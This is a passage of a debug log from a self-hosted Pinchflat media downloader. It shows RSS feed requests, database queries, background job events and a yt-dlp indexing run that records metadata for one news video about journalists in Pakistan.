[:maybe_basic_auth] 20:31:39.708 [debug] QUERY OK source="sources" db=0.9ms idle=480.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 20:31:39.710 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=45.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 20:31:39.712 [debug] QUERY OK source="source_metadata" db=0.7ms idle=48.2ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 20:31:39.713 [debug] QUERY OK source="media_metadata" db=1.1ms queue=0.1ms idle=49.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 20:31:39.714 [info] Sent 200 in 33ms 20:31:59.011 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 20:32:00.180 [info] {"source":"oban","duration":1358,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:32:00.939 [info] {"source":"oban","duration":541,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:32:30.182 [info] {"source":"oban","duration":1840,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:33:00.185 [info] {"source":"oban","duration":1485,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:33:00.941 [info] {"source":"oban","duration":417,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:33:22.308 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 20:33:22.308 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 20:33:22.309 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=1645.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 20:33:22.313 [debug] QUERY OK source="media_items" db=2.6ms queue=0.1ms idle=823.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 20:33:22.315 [debug] QUERY OK source="source_metadata" db=0.4ms idle=651.1ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 20:33:22.316 [debug] QUERY OK source="media_metadata" db=0.4ms queue=0.1ms idle=652.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 20:33:22.316 [info] Sent 200 in 8ms 20:33:30.187 [info] {"source":"oban","duration":1824,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:33:59.027 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 20:34:00.190 [info] {"source":"oban","duration":1304,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:34:00.944 [info] {"source":"oban","duration":576,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:34:30.192 [info] {"source":"oban","duration":1486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:35:00.196 [info] {"source":"oban","duration":1757,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:35:00.946 [info] {"source":"oban","duration":506,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:35:30.198 [info] {"source":"oban","duration":1803,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:36:00.201 [info] {"source":"oban","duration":1553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:36:00.948 [info] {"source":"oban","duration":725,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:36:30.204 [info] {"source":"oban","duration":1337,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:36:54.758 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 20:36:54.758 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 20:36:54.759 [debug] QUERY OK source="sources" db=0.8ms idle=1095.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 20:36:54.761 [debug] QUERY OK source="media_items" db=1.3ms idle=1096.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 20:36:54.763 [debug] QUERY OK source="source_metadata" db=0.3ms idle=1099.1ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 20:36:54.764 [debug] QUERY OK source="media_metadata" db=0.4ms queue=0.1ms idle=744.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 20:36:54.764 [info] Sent 200 in 6ms 20:37:00.208 [info] {"source":"oban","duration":1426,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:37:00.949 [info] {"source":"oban","duration":508,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:37:30.210 [info] {"source":"oban","duration":1471,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:38:00.212 [info] {"source":"oban","duration":1251,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:38:00.951 [info] {"source":"oban","duration":457,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:38:07.326 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 20:38:07.352 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 20:38:07.355 [debug] QUERY OK source="sources" db=1.1ms queue=0.1ms idle=1690.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 20:38:07.421 [debug] QUERY OK source="media_items" db=1.5ms queue=0.3ms idle=1219.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 20:38:07.437 [debug] QUERY OK source="source_metadata" db=0.4ms idle=773.8ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 20:38:07.439 [debug] QUERY OK source="media_metadata" db=0.3ms queue=0.1ms idle=774.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 20:38:07.440 [info] Sent 200 in 113ms 20:38:30.214 [info] {"source":"oban","duration":1518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:39:00.216 [info] {"source":"oban","duration":1428,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:39:00.953 [info] {"source":"oban","duration":489,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:39:30.218 [info] {"source":"oban","duration":1540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:39:53.491 [info] {"args":{"id":1},"id":95,"meta":{},"system_time":1768077593491302085,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 20:39:53.493 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=1024.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:39:53.495 [debug] QUERY OK source="settings" db=0.6ms queue=0.4ms idle=830.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:39:53.497 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=833.0ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 20:39:53.498 [debug] QUERY OK source="media_items" db=0.5ms idle=12.1ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 20:39:53.499 [debug] QUERY OK source="media_profiles" db=0.8ms idle=7.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:39:53.502 [debug] QUERY OK source="settings" db=1.5ms idle=7.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:39:53.537 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 20:39:53.538 [debug] Current batch of media processed. Will check again in 1000ms 20:39:53.539 [debug] QUERY OK source="settings" db=1.0ms queue=0.1ms idle=42.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:39:53.541 [debug] QUERY OK source="settings" db=0.6ms queue=0.9ms idle=42.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:39:53.541 [debug] QUERY OK source="settings" db=0.6ms idle=42.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:39:53.543 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/playlist?list=PLrRjLdo_f3RuXWrY_jpzwW7v8Afo2pQ3C --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/music/%(artist,creator,uploader,uploader_id)S/%(title)S.%(ext)S --extract-audio --format-sort +acodec:mp3 --audio-format mp3 --format bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/6e/cd/6ecd2e638ff4524dd45233a184cbb8250eb142bb9411b339372e4b724ad463b2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:39:54.540 [debug] Current batch of media processed. Will check again in 1000ms 20:39:55.541 [debug] Current batch of media processed. Will check again in 1000ms 20:39:56.542 [debug] Current batch of media processed. Will check again in 1000ms 20:39:57.543 [debug] Current batch of media processed. Will check again in 1000ms 20:39:58.545 [debug] Current batch of media processed. Will check again in 1000ms 20:39:59.071 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 20:39:59.547 [debug] Current batch of media processed. Will check again in 1000ms 20:40:00.223 [info] {"source":"oban","duration":3235,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:40:00.549 [debug] Current batch of media processed. Will check again in 1000ms 20:40:00.955 [info] {"source":"oban","duration":445,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:40:01.550 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "duration" => 1440, "filename" => "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", "id" => "lKELVRDjIBc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=lKELVRDjIBc", "playlist_index" => 1, "timestamp" => 1767867762, "title" => "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", "upload_date" => "20260108"} 20:40:01.586 [debug] QUERY OK source="sources" db=35.2ms queue=0.2ms idle=887.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:40:01.602 [debug] QUERY OK source="sources" db=0.7ms queue=0.2ms idle=937.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:40:01.644 [debug] QUERY OK source="media_items" db=41.0ms queue=0.3ms idle=938.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-08 10:22:42Z], 1] 20:40:01.703 [debug] QUERY OK source="media_items" db=44.8ms idle=690.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", "0473489a-ac58-45db-a1ac-f9e7aafd01ee", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", 1, "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, false, false, 1, [], 1, ~U[2026-01-08 10:22:42Z], ~U[2026-01-10 20:40:01Z], ~U[2026-01-10 20:40:01Z], "#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, 1, ~U[2026-01-08 10:22:42Z]] 20:40:01.705 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=178.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:40:01.738 [debug] QUERY OK source="media_profiles" db=33.2ms queue=0.1ms idle=118.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:40:01.774 [debug] QUERY OK source="media_items" db=34.3ms queue=0.1ms idle=137.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [24] 20:40:01.774 [debug] Current batch of media processed. Will check again in 1000ms 20:40:02.775 [debug] Current batch of media processed. Will check again in 1000ms 20:40:03.776 [debug] Current batch of media processed. Will check again in 1000ms 20:40:04.777 [debug] Current batch of media processed. Will check again in 1000ms 20:40:05.724 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/playlist?list=PLrRjLdo_f3RuXWrY_jpzwW7v8Afo2pQ3C --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/music/%(artist,creator,uploader,uploader_id)S/%(title)S.%(ext)S --extract-audio --format-sort +acodec:mp3 --audio-format mp3 --format bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/6e/cd/6ecd2e638ff4524dd45233a184cbb8250eb142bb9411b339372e4b724ad463b2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 20:40:05.725 [debug] Gracefully stopping file follower 20:40:05.726 [debug] QUERY OK source="sources" db=0.5ms queue=0.2ms idle=142.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", 